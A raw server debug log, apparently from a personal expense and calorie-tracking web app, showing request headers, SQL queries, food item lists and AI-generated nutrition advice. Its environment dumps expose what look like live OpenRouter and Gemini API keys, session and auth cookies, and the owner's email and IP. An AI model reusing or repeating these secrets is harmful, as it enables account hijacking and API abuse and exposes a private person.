    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T00:44:59.523Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-24T16:45:15.993Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-24T16:45:15.994Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-24T16:45:15.994Z server-connect:app Executing action step identify
2025-12-24T16:45:15.994Z server-connect:app options: { provider: 'security' }
2025-12-24T16:45:15.994Z server-connect:output identity: 1
2025-12-24T16:45:15.994Z server-connect:app Executing action step restrict
2025-12-24T16:45:15.994Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T16:45:15.994Z server-connect:app Executing action step identify
2025-12-24T16:45:15.994Z server-connect:app options: { provider: 'security' }
2025-12-24T16:45:15.995Z server-connect:output identity: 1
2025-12-24T16:45:15.995Z server-connect:app Executing action step restrict
2025-12-24T16:45:15.995Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T16:45:15.995Z server-connect:output restrict: undefined
2025-12-24T16:45:15.995Z server-connect:app Executing action step single
2025-12-24T16:45:15.995Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-24T16:45:15.996Z server-connect:output restrict: undefined
2025-12-24T16:45:15.996Z server-connect:app Executing action step select
2025-12-24T16:45:15.996Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-24T16:45:15.996Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-24T16:45:16.000Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-24T16:45:47.009Z server-connect:router Serving templateView /calorie-tracker
2025-12-24T16:45:47.010Z server-connect:app Executing action step identify
2025-12-24T16:45:47.010Z server-connect:app options: { provider: 'security' }
2025-12-24T16:45:47.010Z server-connect:output identity: 1
2025-12-24T16:45:47.010Z server-connect:app Executing action step restrict
2025-12-24T16:45:47.010Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T16:45:47.011Z server-connect:output restrict: undefined
2025-12-24T16:45:47.011Z server-connect:router Render template calorie-tracker
2025-12-24T16:45:47.011Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"5469-qg2PN52ItenESCFz8S7JLbMpMg4"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T00:44:59.523Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"5469-qg2PN52ItenESCFz8S7JLbMpMg4"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-24T16:45:47.390Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-24T16:45:47.390Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-24T16:45:47.391Z server-connect:app Executing action step identify
2025-12-24T16:45:47.391Z server-connect:app options: { provider: 'security' }
2025-12-24T16:45:47.391Z server-connect:output identity: 1
2025-12-24T16:45:47.391Z server-connect:app Executing action step restrict
2025-12-24T16:45:47.391Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T16:45:47.391Z server-connect:app Executing action step identify
2025-12-24T16:45:47.391Z server-connect:app options: { provider: 'security' }
2025-12-24T16:45:47.391Z server-connect:output identity: 1
2025-12-24T16:45:47.391Z server-connect:app Executing action step restrict
2025-12-24T16:45:47.391Z server-connect:app options: { provider: 'security' }
2025-12-24T16:45:47.391Z server-connect:output restrict: undefined
2025-12-24T16:45:47.392Z server-connect:app Executing action step single
2025-12-24T16:45:47.392Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-24T16:45:47.392Z server-connect:output restrict: undefined
2025-12-24T16:45:47.392Z server-connect:app Executing action step single
2025-12-24T16:45:47.392Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-24T16:45:47.394Z server-connect:output summary: {
  summary: {
    rating: 7,
    summary: "Today's nutrition provided a decent foundation with protein from whey and some from meals. Meal timing appears reasonable, supporting your gym routine. Continued adherence to this pattern suggests steady progress towards your goals.",
    bad_points: [
      'Potential for higher protein intake to better support muscle development.',
      'Carbohydrate intake might be on the higher side for fat loss goals.',
      'Limited variety in vegetable sources.'
    ],
    good_points: [
      'Inclusion of whey protein post-workout for muscle recovery.',
      'Balanced meals with vegetables and carbohydrates.',
      'Consistent hydration with green tea.'
    ],
    suggestions: [
      'Incorporate more lean protein sources throughout the day.',
      'Consider adding a source of healthy fats to meals.',
      'Increase the variety of vegetables consumed.',
      'Ensure adequate water intake beyond green tea.'
    ],
    predicted_weight: 69.5,
    rating_judgement: 'Good effort',
    predicted_weight_trend: 'Slight downward trend'
  },
  date: '2025-12-23T18:30:00.000Z'
}
2025-12-24T16:45:47.395Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-24T16:45:47.395Z server-connect:app Executing action step select
2025-12-24T16:45:47.395Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-24T16:45:47.398Z server-connect:output item_list: [
  {
    id: 500,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Jamfal (Guava)',
    calories: 30,
    protein_gm: 1,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: '2 slices',
    replacements: 'Cucumber slices,Watermelon slices,Bell pepper strips',
    created_at: '2025-12-23T19:28:36.000Z',
    skip_level: 1,
    skip_reason: "Jamfal is a good source of Vitamin C and fiber, beneficial for overall health and recovery. It's a low-calorie fruit."
  },
  {
    id: 501,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee (no sugar/cream),Green tea,Small piece of fruit (e.g., half a banana)',
    created_at: '2025-12-23T19:28:36.000Z',
    skip_level: 2,
    skip_reason: "While pre-workouts can provide a boost for intense sessions, they often contain artificial sweeteners, colors, and stimulants. For muscle development, focus on whole foods and adequate sleep. If you feel you need it, ensure it's a high-quality product with minimal additives. Consider if the energy boost is truly necessary for every session or if natural sources can suffice."
  },
  {
    id: 502,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, good for muscle building),Egg whites (pure protein, very low calorie),Greek yogurt (high protein, lower calorie than some whey shakes)',
    created_at: '2025-12-23T22:18:53.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, high protein content, and relatively low in other macros. Ideal for your goals.'
  },
  {
    id: 503,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Poha (mixed with tomato, onion, matar)',
    calories: 200,
    protein_gm: 5,
    carbs_gm: 40,
    fat_gm: 3,
    quantity: '1 serving (approx. 150g cooked)',
    replacements: 'Quinoa Poha (higher protein, more fiber),Oats Poha (more fiber, can be lower calorie depending on preparation),Brown Rice Poha (more fiber than white poha)',
    created_at: '2025-12-23T22:18:53.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates for energy, and the vegetables add fiber and micronutrients. A decent breakfast option for your activity level.'
  },
  {
    id: 504,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Herbal tea (e.g., peppermint, chamomile)',
    created_at: '2025-12-24T01:28:24.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for health, contains antioxidants, negligible calories.'
  },
  {
    id: 505,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Patta Gobi Sabji',
    calories: 90,
    protein_gm: 3,
    carbs_gm: 12,
    fat_gm: 4,
    quantity: '1 serving (approx 150g)',
    replacements: 'Steamed cabbage with minimal oil,Cabbage soup,Cabbage salad',
    created_at: '2025-12-24T02:31:04.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 506,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Roti',
    calories: 360,
    protein_gm: 12,
    carbs_gm: 76,
    fat_gm: 2,
    quantity: '4 rotis (approx 120g total)',
    replacements: 'Multigrain roti,Jowar/Bajra roti,Brown rice',
    created_at: '2025-12-24T02:31:04.000Z',
    skip_level: 2,
    skip_reason: "While a good source of carbs for energy, 4 rotis might be a bit high for a single meal if you're aiming for muscle development and managing overall calorie intake, especially if you have other carb sources. Consider reducing to 2-3 rotis and adding more protein/vegetables."
  },
  {
    id: 507,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'White Guava',
    calories: 136,
    protein_gm: 5,
    carbs_gm: 29,
    fat_gm: 1,
    quantity: '1 big size (approx 200g)',
    replacements: 'Smaller guava,Berries (strawberries, blueberries),Cucumber',
    created_at: '2025-12-24T03:16:25.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 508,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Herbal tea (e.g., peppermint, chamomile)',
    created_at: '2025-12-24T05:50:03.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for health, contains antioxidants, negligible calories.'
  }
]
2025-12-24T16:45:47.398Z server-connect:app Executing action step setvalue
2025-12-24T16:45:47.398Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-24T16:45:47.398Z server-connect:output var_total: 950
2025-12-24T16:45:47.398Z server-connect:app Executing action step setvalue
2025-12-24T16:45:47.398Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-24T16:45:47.398Z server-connect:output var_consumed: 40
2025-12-24T16:45:47.398Z server-connect:app Executing action step setvalue
2025-12-24T16:45:47.398Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-24T16:45:47.398Z server-connect:output var_deficit: 1450
2025-12-24T16:45:47.398Z server-connect:app Executing action step custom
2025-12-24T16:45:47.398Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
